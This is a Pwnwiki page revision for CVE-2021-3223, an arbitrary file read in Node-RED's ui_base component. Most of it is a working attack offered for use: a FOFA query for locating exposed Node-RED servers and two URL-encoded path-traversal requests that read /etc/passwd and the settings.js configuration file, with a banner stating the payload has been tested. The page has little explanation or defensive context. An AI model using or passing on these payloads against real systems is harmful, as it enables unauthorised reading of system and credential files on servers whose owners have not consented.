Pwnwiki: Created page with "The EXP/POC/Payload on this page has been tested and available, and the vulnerability has been successfully reproduced."

2021-07-04T09:24:23Z

Created page with "The EXP/POC/Payload on this page has been tested and available, and the vulnerability has been successfully reproduced."

New page

<languages />

<center>
{| style="border: 2.0px solid grey; background: #b3ff9c;" width="85%"
| align="center" width="60px"| [[File:Check.png|link=|55px]]
| align="center" |'''The vulnerability has been verified'''
------
<small>The EXP/POC/Payload on this page has been tested and available, and the vulnerability has been successfully reproduced.</small>
|}
</center>
==Vulnerability Impact==
Node-RED

==FOFA==
<pre>
title="Node-RED"
</pre>

==POC==
<pre>
/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
/ui_base/js/..%2f..%2f..%2f..%2fsettings.js
</pre>

==Reference==
https://mp.weixin.qq.com/s/KRGKXAJQawXl88RBPTaAeg

CVE-2021-3223 Node-RED ui base 任意文件讀取漏洞/en - Revision history

Pwnwiki: Created page with "The EXP/POC/Payload on this page has been tested and available, and the vulnerability has been successfully reproduced."